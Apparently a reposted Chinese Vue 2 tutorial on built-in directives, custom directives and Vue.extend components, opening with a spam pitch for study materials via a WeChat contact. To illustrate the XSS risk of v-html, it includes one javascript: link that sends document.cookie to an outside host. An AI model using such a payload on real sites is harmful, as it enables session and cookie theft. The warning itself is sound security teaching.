Vue(三）——过滤器，内置指令，自定义指令(1)，2024年最新一眼就能看懂的大数据开发自学手册

本文链接：https://blog.csdn.net/2401_84181942/article/details/137868648

先自我介绍一下，小编浙江大学毕业，去过华为、字节跳动等大厂，目前阿里P7

深知大多数程序员，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！

因此收集整理了一份《2024年最新大数据全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，涵盖了95%以上大数据知识点，真正体系化！

由于文件比较多，这里只是将部分目录截图出来，全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频，并且后续会持续更新

如果你需要这些资料，可以添加V获取：vip204888 （备注大数据）

正文

v-html可以识别html结构。

严重注意：v-html有安全性问题

在网站上动态渲染任意HTML是非常危险的，容易导致攻击。
一定要在可信的内容上使用v-html，不要用在用户提交的内容上

<div id="root">
    <div>你好，{{name}}</div>
    <div v-html="str"></div>
    <div v-html="str2"></div>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false 
    new Vue({
        el:'#root',
        data:{
            name:'张三',
            str:'<h3>你好啊！</h3>',
            str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了，快来！</a>',
        }
    })
</script>

1.17.3. v-cloak指令（没有值）

使用css配合v-cloak可以解决网速慢时页面渲染不出来，而展示出{{xxx}}的问题。

<style>
 [v-cloak]{
 display:none;
 }
</style>
<div id="root">
    <h2 v-cloak>{{name}}</h2>
</div>
<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>

<script type="text/javascript">
 console.log(1)
 Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

 new Vue({
 el:'#root',
 data:{
 name:'尚硅谷'
 }
 })
</script>

1.17.4. v-once指令

🌞🌞🌞

v-once所在节点在初次动态渲染后，就视为静态内容了。
以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能。

<div id="root">
    <h2 v-once>初始化的n值是:{{ n }}</h2>
    <h2>当前的n值是:{{ n }}</h2>
    <button @click="n++">点我n+1</button>
</div>

<script type="text/javascript">
 Vue.config.productionTip = false 
 new Vue({
 el:'#root',
 data:{
 n:1
 }
 })
</script>

1.17.5. v-pre指令

🚩跳过其所在节点的编译过程可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译

<div id="root">
    <h2 v-pre>Vue其实很简单</h2>
    <h2 >当前的n值是:{{n}}</h2>
    <button @click="n++">点我n+1</button>
</div>
<script type="text/javascript">
 Vue.config.productionTip = false 
 new Vue({
 el:'#root',
 data:{
 n:1
 }
 })
</script>

1.18. 自定义指令

两个实例：

定义一个v-big指令，和v-text功能类似，但会把绑定的数值放大10倍。
定义一个v-fbind指令，和v-bind功能类似，但可以让其所绑定的input元素默认获取焦点。

语法：

💎局部指令：

directives: {
  focus: {
    // 指令的定义
    inserted: function (el) {
      el.focus()
    }
  }
}

💎全局指令：

<script>
 // 注册一个全局自定义指令 `v-focus`
 Vue.directive('focus', {
 // 当被绑定的元素插入到 DOM 中时……
 inserted: function (el) {
 // 聚焦元素
 el.focus()
 }
 })
</script>

配置对象中常用的3个回调：

bind：指令与元素成功绑定时调用。
inserted：指令所在元素被插入页面时调用。
update：指令所在模板结构被重新解析时调用。

定义全局指令


<div id="root">
    <input type="text" v-fbind:value="n">
</div>
<script type="text/javascript">
 Vue.config.productionTip = false
 //定义全局指令
 Vue.directive('fbind', {
 // 指令与元素成功绑定时（一上来）
 bind(element, binding){
 element.value = binding.value
 },
 // 指令所在元素被插入页面时
 inserted(element, binding){
 element.focus()
 },
 // 指令所在的模板被重新解析时
 update(element, binding){
 element.value = binding.value
 }
 })
 
 new Vue({
 el:'#root',
 data:{
 name: '尚硅谷',
 n: 1
 }
 })

</script>

局部指令：

new Vue({
    el: '#root',
    data: {
        name:'尚硅谷',
        n:1
    },
    directives: {
        // big函数何时会被调用？1.指令与元素成功绑定时（一上来）。2.指令所在的模板被重新解析时。
        /\* 'big-number'(element,binding){
 // console.log('big')
 element.innerText = binding.value \* 10
 }, \*/
        big (element,binding){
            console.log('big',this) //注意此处的this是window
            // console.log('big')
            element.innerText = binding.value \* 10
        },
        fbind: {
            //指令与元素成功绑定时（一上来）
            bind (element,binding){
                element.value = binding.value
            },
            //指令所在元素被插入页面时
            inserted (element,binding){
                element.focus()
            },
            //指令所在的模板被重新解析时
            update (element,binding){
                element.value = binding.value
            }
        }
    }
})

1.19. 非单文件组件

基本使用

Vue中使用组件的三大步骤：

定义组件(创建组件)
注册组件
使用组件(写组件标签)

定义组件

使用Vue.extend(options)创建，其中options和new Vue(options)时传入的那个options几乎一样，有点区别；

区别如下：

el不要写 ——— 最终所有的组件都要经过一个vm的管理，由vm中的el决定服务哪个容器。
data必须写成函数 ——— 避免组件被复用时，数据存在引用关系。

data必须写成函数：

创建一个组件案例：Vue.extend() 创建


    //第一步：创建school组件
    const school = Vue.extend({
        template:`
				<div class="demo">
					<h2>学校名称：{{schoolName}}</h2>
					<h2>学校地址：{{address}}</h2>
					<button @click="showName">点我提示学校名</button>	
    </div>
			`,
        // el:'#root', //组件定义时，一定不要写el配置项，因为最终所有的组件都要被一个vm管理，由vm决定服务于哪个容器。
        data(){
            return {
                schoolName:'尚硅谷',
                address:'北京昌平'
            }
        },
        methods: {
            showName(){
                alert(this.schoolName)
            }
        },
    })

    //第一步：创建student组件
    const student = Vue.extend({
        template:`
				<div>
					<h2>学生姓名：{{studentName}}</h2>
					<h2>学生年龄：{{age}}</h2>
    </div>
			`,
        data(){
            return {
                studentName:'张三',
                age:18
            }
        }
    })
    //第一步：创建hello组件
    const hello = Vue.extend({
        template:`
				<div>	
					<h2>你好啊！{{name}}</h2>
   		 </div>
			`,
        data(){
            return {
                name:'Tom'
            }
        }
    })

注册组件